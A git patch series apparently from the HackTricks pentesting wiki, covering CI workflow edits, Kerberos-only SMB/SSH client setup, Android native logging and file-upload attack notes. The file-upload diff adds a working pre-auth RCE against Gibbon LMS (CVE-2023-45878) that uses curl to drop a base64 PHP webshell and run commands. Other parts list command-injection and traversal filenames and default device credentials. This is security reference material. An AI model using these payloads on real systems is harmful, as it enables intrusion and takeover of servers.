From 9a2b6572763c52722cc8e49818cc383c1b8cfa29 Mon Sep 17 00:00:00 2001 From: Build master Date: Wed, 20 Aug 2025 23:31:45 +0000 Subject: [PATCH 01/40] Update searchindex (purged history; keep current) From 5d399dd082e22da66f8f2c2462aa4eba9536ab0b Mon Sep 17 00:00:00 2001 From: carlospolop Date: Thu, 21 Aug 2025 01:45:53 +0200 Subject: [PATCH 02/40] f --- .github/workflows/translate_all.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/translate_all.yml b/.github/workflows/translate_all.yml index 4ab462e60..392750b47 100644 --- a/.github/workflows/translate_all.yml +++ b/.github/workflows/translate_all.yml @@ -124,6 +124,7 @@ jobs: MDBOOK_BOOK__LANGUAGE=$BRANCH mdbook build || (echo "Error logs" && cat hacktricks-preprocessor-error.log && echo "" && echo "" && echo "Debug logs" && (cat hacktricks-preprocessor.log | tail -n 20) && exit 1) - name: Update searchindex.js in repo (purge history, keep current on HEAD) + shell: bash run: | set -euo pipefail From cd9b56f9093988b61ff650e84bebc7c690b11018 Mon Sep 17 00:00:00 2001 From: carlospolop Date: Thu, 21 Aug 2025 01:54:24 +0200 Subject: [PATCH 03/40] f --- .github/workflows/translate_all.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/translate_all.yml b/.github/workflows/translate_all.yml index 392750b47..a20cf803f 100644 --- a/.github/workflows/translate_all.yml +++ b/.github/workflows/translate_all.yml @@ -46,7 +46,7 @@ jobs: # Ensure only one job per branch runs at a time (even across workflow runs) concurrency: - group: translate-${{ matrix.branch }} + group: translate-cloud-${{ matrix.branch }} cancel-in-progress: false container: From 40ff7d3b8d7475b8743580ff4477688203be4fdb Mon Sep 17 00:00:00 2001 From: carlospolop Date: Thu, 21 Aug 2025 01:55:26 +0200 Subject: [PATCH 04/40] f --- .github/workflows/translate_all.yml | 1 - 1 file changed, 1 deletion(-) diff --git a/.github/workflows/translate_all.yml b/.github/workflows/translate_all.yml index a20cf803f..ccacee7bb 100644 --- a/.github/workflows/translate_all.yml +++ b/.github/workflows/translate_all.yml @@ -66,7 +66,6 @@ jobs: run: | sudo apt-get update sudo apt-get install wget -y - mkdir scripts cd scripts wget -O get_and_save_refs.py https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/get_and_save_refs.py wget -O compare_and_fix_refs.py https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/compare_and_fix_refs.py From d4981a5cb35e0781d2f2e32633ff5b1de24bbffa Mon Sep 17 00:00:00 2001 From: carlospolop Date: Thu, 21 Aug 2025 01:58:42 +0200 Subject: [PATCH 05/40] f --- .github/workflows/translate_all.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/translate_all.yml b/.github/workflows/translate_all.yml index ccacee7bb..a20cf803f 100644 --- a/.github/workflows/translate_all.yml +++ b/.github/workflows/translate_all.yml @@ -66,6 +66,7 @@ jobs: run: | sudo apt-get update sudo apt-get install wget -y + mkdir scripts cd scripts wget -O get_and_save_refs.py https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/get_and_save_refs.py wget -O compare_and_fix_refs.py https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/compare_and_fix_refs.py From 56cfb562673c3ee86160cc0b85177be188033b11 Mon Sep 17 00:00:00 2001 From: carlospolop Date: Thu, 21 Aug 2025 02:12:35 +0200 Subject: [PATCH 06/40] f --- .github/workflows/translate_all.yml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/.github/workflows/translate_all.yml b/.github/workflows/translate_all.yml index a20cf803f..f472a42f9 100644 --- a/.github/workflows/translate_all.yml +++ b/.github/workflows/translate_all.yml @@ -68,9 +68,9 @@ jobs: sudo apt-get install wget -y mkdir scripts cd scripts - wget -O get_and_save_refs.py https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/get_and_save_refs.py - wget -O compare_and_fix_refs.py https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/compare_and_fix_refs.py - wget -O translator.py https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py + wget -O get_and_save_refs.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/get_and_save_refs.py + wget -O compare_and_fix_refs.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/compare_and_fix_refs.py + wget -O translator.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/translator.py cd .. - name: Run get_and_save_refs.py From 797f4d42439fa040a25713910957dac55d46fe66 Mon Sep 17 00:00:00 2001 From: Build master Date: Thu, 21 Aug 2025 10:30:53 +0000 Subject: [PATCH 07/40] Update searchindex (purged history; keep current) From e41638cf67f7606f6351c1f3c4bdf5e15416f451 Mon Sep 17 00:00:00 2001 From: carlospolop Date: Thu, 21 Aug 2025 14:06:47 +0200 Subject: [PATCH 08/40] f --- src/generic-hacking/reverse-shells/README.md | 18 +++++++++++++----- 1 file changed, 13 insertions(+), 5 deletions(-) diff --git a/src/generic-hacking/reverse-shells/README.md b/src/generic-hacking/reverse-shells/README.md index cf7900638..a8e6905dd 100644 --- a/src/generic-hacking/reverse-shells/README.md +++ b/src/generic-hacking/reverse-shells/README.md @@ -2,15 +2,23 @@ {{#include ../../banners/hacktricks-training.md}} -## [**Shells - Linux**](linux.md) +## [Shells - Linux](linux.md) -## [**Shells - Windows**](windows.md) +--- -## [**MSFVenom - CheatSheet**](msfvenom.md) +## [Shells - Windows](windows.md) -## [**Full TTYs**](full-ttys.md) +--- -## **Auto-generated shells** +## [MSFVenom - CheatSheet](msfvenom.md) + +--- + +## [Full TTYs](full-ttys.md) + +--- + +## Auto-generated shells - [**https://reverse-shell.sh/**](https://reverse-shell.sh/) - [**https://www.revshells.com/**](https://www.revshells.com/) From c684e93270d804934e96419ce4ee83efce565123 Mon Sep 17 00:00:00 2001 From: Build master Date: Wed, 27 Aug 2025 04:04:57 +0000 Subject: [PATCH 09/40] Update searchindex (purged history; keep current) From 690b7efa9479dfa99028b5cdaa7e6cd5305bff05 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Wed, 27 Aug 2025 14:56:20 +0200 Subject: [PATCH 10/40] Add content from: HTB: TheFrizz - Remove searchindex.js (auto-generated file) --- .../pentesting-kerberos-88/README.md | 54 +++++++++++++++++ .../pentesting-smb/README.md | 31 ++++++++-- .../pentesting-ssh.md | 33 +++++++++-- src/pentesting-web/file-upload/README.md | 58 +++++++++++++++++-- 4 files changed, 161 insertions(+), 15 deletions(-) diff --git a/src/network-services-pentesting/pentesting-kerberos-88/README.md b/src/network-services-pentesting/pentesting-kerberos-88/README.md index 225ab1c99..dc4453c52 100644 --- a/src/network-services-pentesting/pentesting-kerberos-88/README.md +++ b/src/network-services-pentesting/pentesting-kerberos-88/README.md @@ -19,6 +19,53 @@ PORT STATE SERVICE ### **To learn how to abuse Kerberos you should read the post about** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**.** +## Kerberos-only environments: client prep and troubleshooting + +When NTLM is disabled on domain services (SMB/WinRM/etc.), you must authenticate with Kerberos. Common pitfalls and a working workflow: + +- Time synchronization is mandatory. If your host clock is skewed by more than a few minutes you will see `KRB_AP_ERR_SKEW` and all Kerberos auth will fail. Sync against the DC: + +```bash +# quick one-shot sync (requires sudo) +sudo ntpdate || sudo chronyd -q 'server iburst' +``` + +- Generate a valid krb5.conf for the target realm/domain. `netexec` (CME fork) can output one for you while testing SMB: + +```bash +# Generate krb5.conf and install it +netexec smb -u -p '' -k --generate-krb5-file krb5.conf +sudo cp krb5.conf /etc/krb5.conf +``` + +- Obtain a TGT and verify the ccache: + +```bash +kinit +klist +``` + +- Use Kerberos with SMB tooling (no passwords sent, uses your ccache): + +```bash +# netexec / CME +netexec smb -k # lists shares, runs modules using Kerberos +# impacket examples also support -k / --no-pass to use the ccache +smbclient --kerberos ///IPC$ +``` + +- GSSAPI SSH single sign-on (OpenSSH to Windows OpenSSH server): + +```bash +# Ensure krb5.conf is correct and you have a TGT (kinit) +# Use the FQDN that matches the host SPN. Wrong names cause: "Server not found in Kerberos database" +ssh -o GSSAPIAuthentication=yes @ +``` + +Tips: +- Ensure your `/etc/hosts` resolves the exact FQDN you will SSH/SMB to, and that it comes before any bare domain entries if you are overriding DNS. SPN mismatches break GSSAPI. +- If NTLM is disabled on SMB you may see `STATUS_NOT_SUPPORTED` with NTLM attempts; add `-k` to force Kerberos. + ## More ### Shodan @@ -36,6 +83,13 @@ https://adsecurity.org/?p=541 Other exploits: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek) +## References + +- [NetExec (CME) wiki – Kerberos and krb5.conf generation](https://www.netexec.wiki/) +- [OpenSSH GSSAPIAuthentication](https://man.openbsd.org/ssh_config#GSSAPIAuthentication) +- [MIT Kerberos – Using Kerberos on UNIX](https://web.mit.edu/kerberos/krb5-1.12/doc/user/user_config.html) +- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html) + ## HackTricks Automatic Commands ``` diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md index b7de7067f..9eaa8fbe9 100644 --- a/src/network-services-pentesting/pentesting-smb/README.md +++ b/src/network-services-pentesting/pentesting-smb/README.md @@ -269,8 +269,8 @@ done examples ```bash -smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME -smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session +smbclient -U '%' -N \\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME +smbclient -U '%' -N \\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session ``` ### **Enumerate shares from Windows / without third-party tools** @@ -402,6 +402,22 @@ smbclient --kerberos //ws01win10.domain.com/C$ rpcclient -k ws01win10.domain.com ``` +In Kerberos-only environments (NTLM disabled), NTLM attempts against SMB may return `STATUS_NOT_SUPPORTED`. Fix common Kerberos issues and force Kerberos auth: + +```bash +# sync clock to avoid KRB_AP_ERR_SKEW +sudo ntpdate + +# use Kerberos with tooling (reads your TGT from ccache) +netexec smb -k +``` + +For a complete client setup (krb5.conf generation, kinit, SSH GSSAPI/SPN caveats) see: + +{{#ref}} +../pentesting-kerberos-88/README.md +{{#endref}} + ## **Execute Commands** ### **crackmapexec** @@ -554,8 +570,8 @@ Entry_1: With Creds smbmap -H {IP} -u {Username} -p {Password} - smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} - smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash` + smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP} + smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash` crackmapexec smb {IP} -u {Username} -p {Password} --shares GetADUsers.py {Domain_Name}/{Username}:{Password} -all GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat @@ -591,5 +607,10 @@ Entry_6: ``` -{{#include ../../banners/hacktricks-training.md}} +## References +- [NetExec (CME) wiki – Kerberos usage](https://www.netexec.wiki/) +- [Pentesting Kerberos (88) – client setup and troubleshooting](../pentesting-kerberos-88/README.md) +- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-ssh.md b/src/network-services-pentesting/pentesting-ssh.md index 59376ff8b..6761ba9dd 100644 --- a/src/network-services-pentesting/pentesting-ssh.md +++ b/src/network-services-pentesting/pentesting-ssh.md @@ -144,10 +144,31 @@ Some systems have known flaws in the random seed used to generate cryptographic You should look here in order to search for valid keys for the victim machine. -### Kerberos +### Kerberos / GSSAPI SSO -**crackmapexec** using the `ssh` protocol can use the option `--kerberos` to **authenticate via kerberos**.\ -For more info run `crackmapexec ssh --help`. +If the target SSH server supports GSSAPI (for example Windows OpenSSH on a domain controller), you can authenticate using your Kerberos TGT instead of a password. + +Workflow from a Linux attacker host: + +```bash +# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW +sudo ntpdate + +# 2) Generate a krb5.conf for the target realm (optional, but handy) +netexec smb -u -p '' -k --generate-krb5-file krb5.conf +sudo cp krb5.conf /etc/krb5.conf + +# 3) Obtain a TGT for the user +kinit +klist + +# 4) SSH with GSSAPI, using the FQDN that matches the host SPN +ssh -o GSSAPIAuthentication=yes @ +``` + +Notes: +- If you connect to the wrong name (e.g., short host, alias, or wrong order in `/etc/hosts`), you may get: "Server not found in Kerberos database" because the SPN does not match. +- `crackmapexec ssh --kerberos` can also use your ccache for Kerberos auth. ## Default Credentials @@ -155,7 +176,7 @@ For more info run `crackmapexec ssh --help`. | ---------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | APC | apc, device | apc | | Brocade | admin | admin123, password, brocade, fibranne | -| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme | +| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme | | Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler | | D-Link | admin, user | private, admin, user | | Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin | @@ -296,7 +317,7 @@ debug1: Next authentication method: password Review the SSH server configuration is necessary to check that only expected\ methods are authorized. Using the verbose mode on the client can help to see\ -the effectiveness of the configuration. + the effectiveness of the configuration. ### Config files @@ -377,6 +398,8 @@ The common lesson is that any deviation from the RFC-mandated state transitions - [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/) - [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html) - [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide) +- [Pentesting Kerberos (88) – client setup and troubleshooting](pentesting-kerberos-88/README.md) +- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html) ## HackTricks Automatic Commands diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index b0e8b39ac..f32a28225 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -81,7 +81,7 @@ Other useful extensions: - **Possible Information disclosure**: 1. Upload **several times** (and at the **same time**) the **same file** with the **same name** 2. Upload a file with the **name** of a **file** or **folder** that **already exists** - 3. Uploading a file with **“.”, “..”, or “…” as its name**. For instance, in Apache in **Windows**, if the application saves the uploaded files in “/www/uploads/” directory, the “.” filename will create a file called “uploads” in the “/www/” directory. + 3. Uploading a file with **“." , “..", or “…” as its name**. For instance, in Apache in **Windows**, if the application saves the uploaded files in “/www/uploads/” directory, the “.” filename will create a file called “uploads” in the “/www/” directory. 4. Upload a file that may not be deleted easily such as **“…:.jpg”** in **NTFS**. (Windows) 5. Upload a file in **Windows** with **invalid characters** such as `|<>*?”` in its name. (Windows) 6. Upload a file in **Windows** using **reserved** (**forbidden**) **names** such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9. @@ -98,7 +98,7 @@ The `.inc` extension is sometimes used for php files that are only used to **imp ## **Jetty RCE** -If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell! +If you can upload a XML file into a Jetty server you can obtain [RCE because **new *.xml and *.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) @@ -132,10 +132,54 @@ The execution of the payload occurs during the parsing of the configuration file It's crucial to understand the lax nature of uWSGI's configuration file parsing. Specifically, the discussed payload can be inserted into a binary file (such as an image or PDF), further broadening the scope of potential exploitation. +### Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878) + +Unauthenticated endpoint in Gibbon LMS allows arbitrary file write inside the web root, leading to pre-auth RCE by dropping a PHP file. Vulnerable versions: up to and including 25.0.01. + +- Endpoint: `/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php` +- Method: POST +- Required params: + - `img`: data-URI-like string: `[mime];[name],[base64]` (server ignores type/name, base64-decodes the tail) + - `path`: destination filename relative to Gibbon install dir (e.g., `poc.php` or `0xdf.php`) + - `gibbonPersonID`: any non-empty value is accepted (e.g., `0000000001`) + +Minimal PoC to write and read back a file: + +```bash +# Prepare test payload +printf '0xdf was here!' | base64 +# => MHhkZiB3YXMgaGVyZSEK + +# Write poc.php via unauth POST +curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \ + -d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001' + +# Verify write +curl http://target/Gibbon-LMS/poc.php +``` + +Drop a minimal webshell and execute commands: + +```bash +# '' base64 +# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg== + +curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \ + -d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001' + +curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami' +``` + +Notes: +- The handler performs `base64_decode($_POST["img"])` after splitting by `;` and `,`, then writes bytes to `$absolutePath . '/' . $_POST['path']` without validating extension/type. +- Resulting code runs as the web service user (e.g., XAMPP Apache on Windows). + +References for this bug include the usd HeroLab advisory and the NVD entry. See the References section below. + ## **wget File Upload/SSRF Trick** In some occasions you may find that a server is using **`wget`** to **download files** and you can **indicate** the **URL**. In these cases, the code may be checking that the extension of the downloaded files is inside a whitelist to assure that only allowed files are going to be downloaded. However, **this check can be bypassed.**\ -The **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **download a file called "A"\*232+".php"+".gif"**, this filename will **bypass** the **check** (as in this example **".gif"** is a **valid** extension) but `wget` will **rename** the file to **"A"\*232+".php"**. +The **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **download a file called "A"*232+".php"+".gif"**, this filename will **bypass** the **check** (as in this example **".gif"** is a **valid** extension) but `wget` will **rename** the file to **"A"*232+".php"**. ```bash #Create file and HTTP server @@ -168,7 +212,7 @@ Note that **another option** you may be thinking of to bypass this check is to m ## From File upload to other vulnerabilities -- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal** +- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal` - Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection** - Set **filename** to `` to achieve a XSS - Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md)) @@ -247,6 +291,7 @@ Below is an example of Python code used to create a malicious zip file: import zipfile from io import BytesIO + def create_zip(): f = BytesIO() z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED) @@ -285,7 +330,7 @@ For further details **check the original post in**: [https://blog.silentsignal.e ```bash :set modifiable - :%s/xxA/..\//g + :%s/xxA/../g :x! ``` @@ -335,5 +380,8 @@ How to avoid file type detections by uploading a valid JSON file even if not all - [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) - [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) - [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html) +- [usd HeroLab – Gibbon LMS arbitrary file write (CVE-2023-45878)](https://herolab.usd.de/security-advisories/usd-2023-0025/) +- [NVD – CVE-2023-45878](https://nvd.nist.gov/vuln/detail/CVE-2023-45878) +- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html) {{#include ../../banners/hacktricks-training.md}} From 71daed71859fab3bedf34912defa5cdb19040064 Mon Sep 17 00:00:00 2001 From: carlospolop Date: Thu, 28 Aug 2025 11:44:38 +0200 Subject: [PATCH 11/40] f --- src/pentesting-web/file-upload/README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index b0e8b39ac..8aad67ab6 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -45,7 +45,7 @@ Other useful extensions: - _file.php%00.png%00.jpg_ 6. Try to put the **exec extension before the valid extension** and pray so the server is misconfigured. (useful to exploit Apache misconfigurations where anything with extension** _**.php**_**, but** not necessarily ending in .php** will execute code): - _ex: file.php.png_ -7. Using **NTFS alternate data stream (ADS)** in **Windows**. In this case, a colon character “:” will be inserted after a forbidden extension and before a permitted one. As a result, an **empty file with the forbidden extension** will be created on the server (e.g. “file.asax:.jpg”). This file might be edited later using other techniques such as using its short filename. The “**::$data**” pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. “file.asp::$data.”) +7. Using **NTFS alternate data stream (ADS)** in **Windows**. In this case, a colon character ":” will be inserted after a forbidden extension and before a permitted one. As a result, an **empty file with the forbidden extension** will be created on the server (e.g. "file.asax:.jpg”). This file might be edited later using other techniques such as using its short filename. The "**::$data**” pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "file.asp::$data.”) 8. Try to break the filename limits. The valid extension gets cut off. And the malicious PHP gets left. AAA<--SNIP-->AAA.php ``` @@ -81,8 +81,8 @@ Other useful extensions: - **Possible Information disclosure**: 1. Upload **several times** (and at the **same time**) the **same file** with the **same name** 2. Upload a file with the **name** of a **file** or **folder** that **already exists** - 3. Uploading a file with **“.”, “..”, or “…” as its name**. For instance, in Apache in **Windows**, if the application saves the uploaded files in “/www/uploads/” directory, the “.” filename will create a file called “uploads” in the “/www/” directory. - 4. Upload a file that may not be deleted easily such as **“…:.jpg”** in **NTFS**. (Windows) + 3. Uploading a file with **".”, "..”, or "…” as its name**. For instance, in Apache in **Windows**, if the application saves the uploaded files in "/www/uploads/” directory, the ".” filename will create a file called "uploads” in the "/www/” directory. + 4. Upload a file that may not be deleted easily such as **"…:.jpg”** in **NTFS**. (Windows) 5. Upload a file in **Windows** with **invalid characters** such as `|<>*?”` in its name. (Windows) 6. Upload a file in **Windows** using **reserved** (**forbidden**) **names** such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9. - Try also to **upload an executable** (.exe) or an **.html** (less suspicious) that **will execute code** when accidentally opened by victim. From cc3d7f1aa410b46bcc5800bc11485d4565293a4e Mon Sep 17 00:00:00 2001 From: SirBroccoli Date: Thu, 28 Aug 2025 11:45:38 +0200 Subject: [PATCH 12/40] Fix formatting in README.md for file upload section --- src/pentesting-web/file-upload/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index f32a28225..ae1a90b75 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -212,7 +212,7 @@ Note that **another option** you may be thinking of to bypass this check is to m ## From File upload to other vulnerabilities -- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal` +- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal** - Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection** - Set **filename** to `` to achieve a XSS - Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md)) From 6fd12a190354b29eb4667762a4cb749811081210 Mon Sep 17 00:00:00 2001 From: Build master Date: Thu, 28 Aug 2025 10:06:05 +0000 Subject: [PATCH 13/40] Update searchindex (purged history; keep current) From da88fb0639a6df43a1e475d17b6a1d1266beafa6 Mon Sep 17 00:00:00 2001 From: Build master Date: Fri, 29 Aug 2025 00:09:21 +0000 Subject: [PATCH 14/40] Update searchindex (purged history; keep current) From a154c03caf19ac3e05b0866cec0c4c682d27b108 Mon Sep 17 00:00:00 2001 From: carlospolop Date: Fri, 29 Aug 2025 10:33:31 +0200 Subject: [PATCH 15/40] f --- .github/workflows/build_master.yml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.github/workflows/build_master.yml b/.github/workflows/build_master.yml index 61daf614c..99f80c75e 100644 --- a/.github/workflows/build_master.yml +++ b/.github/workflows/build_master.yml @@ -49,7 +49,8 @@ jobs: git config pull.rebase false # Ensure we're on the target branch and up to date - git pull --ff-only + git fetch origin + git reset --hard origin/master # Choose the file to keep at HEAD: # 1) Prefer freshly built version from book/ From f16fb17cc05ca473f198b473a2c8689bb2742d53 Mon Sep 17 00:00:00 2001 From: Build master Date: Fri, 29 Aug 2025 08:38:13 +0000 Subject: [PATCH 16/40] Update searchindex (purged history; keep current) From 3a85b5ddd6b82095f1db010fe651e9cd499afee9 Mon Sep 17 00:00:00 2001 From: Build master Date: Fri, 29 Aug 2025 10:09:42 +0000 Subject: [PATCH 17/40] Update searchindex (purged history; keep current) From 5d969f497e4523bd7f70a45d7b17a669c09ee7aa Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Fri, 29 Aug 2025 12:41:21 +0000 Subject: [PATCH 18/40] Add content from: SoTap: Lightweight in-app JNI (.so) behavior logger for Andr... - Remove searchindex.js (auto-generated file) --- .../malware-analysis.md | 13 ++++++ .../reversing-native-libraries.md | 43 ++++++++++++++++++- .../android-app-pentesting/smali-changes.md | 42 ++++++++++++++++-- 3 files changed, 92 insertions(+), 6 deletions(-) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md index c42a193fb..d5bd5fb51 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md @@ -171,6 +171,18 @@ When the information is saved in logs you can **check statistics like how many t --- +### Android in-app native telemetry (no root) + +On Android, you can instrument native code inside the target app process by preloading a tiny logger library before other JNI libs initialize. This gives early visibility into native behavior without system-wide hooks or root. A popular approach is SoTap: drop libsotap.so for the right ABI into the APK and inject a System.loadLibrary("sotap") call early (e.g., static initializer or Application.onCreate), then collect logs from internal/external paths or Logcat fallback. + +See the Android native reversing page for setup details and log paths: + +{{#ref}} +../../../mobile-pentesting/android-app-pentesting/reversing-native-libraries.md +{{#endref}} + +--- + ## Deobfuscating Dynamic Control-Flow (JMP/CALL RAX Dispatchers) Modern malware families heavily abuse Control-Flow Graph (CFG) obfuscation: instead of a direct jump/call they compute the destination at run-time and execute a `jmp rax` or `call rax`. A small *dispatcher* (typically nine instructions) sets the final target depending on the CPU `ZF`/`CF` flags, completely breaking static CFG recovery. @@ -262,5 +274,6 @@ idc.set_callee_name(call_ea, resolved_addr, 0) # IDA 8.3+ ## References - [Unit42 – Evolving Tactics of SLOW#TEMPEST: A Deep Dive Into Advanced Malware Techniques](https://unit42.paloaltonetworks.com/slow-tempest-malware-obfuscation/) +- SoTap: Lightweight in-app JNI (.so) behavior logger – [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap) {{#include ../../banners/hacktricks-training.md}} \ No newline at end of file diff --git a/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md b/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md index ea060841d..12fc201f5 100644 --- a/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md +++ b/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md @@ -63,6 +63,42 @@ Java.perform(function () { ``` Frida will work out of the box on PAC/BTI-enabled devices (Pixel 8/Android 14+) as long as you use frida-server 16.2 or later – earlier versions failed to locate padding for inline hooks. +### Process-local JNI telemetry via preloaded .so (SoTap) + +When full-featured instrumentation is overkill or blocked, you can still gain native-level visibility by preloading a small logger inside the target process. SoTap is a lightweight Android native (.so) library that logs the runtime behavior of other JNI (.so) libraries within the same app process (no root required). + +Key properties: +- Initializes early and observes JNI/native interactions inside the process that loads it. +- Persists logs using multiple writable paths with graceful fallback to Logcat when storage is restricted. +- Source-customizable: edit sotap.c to extend/adjust what gets logged and rebuild per ABI. + +Setup (repack the APK): +1) Drop the proper ABI build into the APK so the loader can resolve 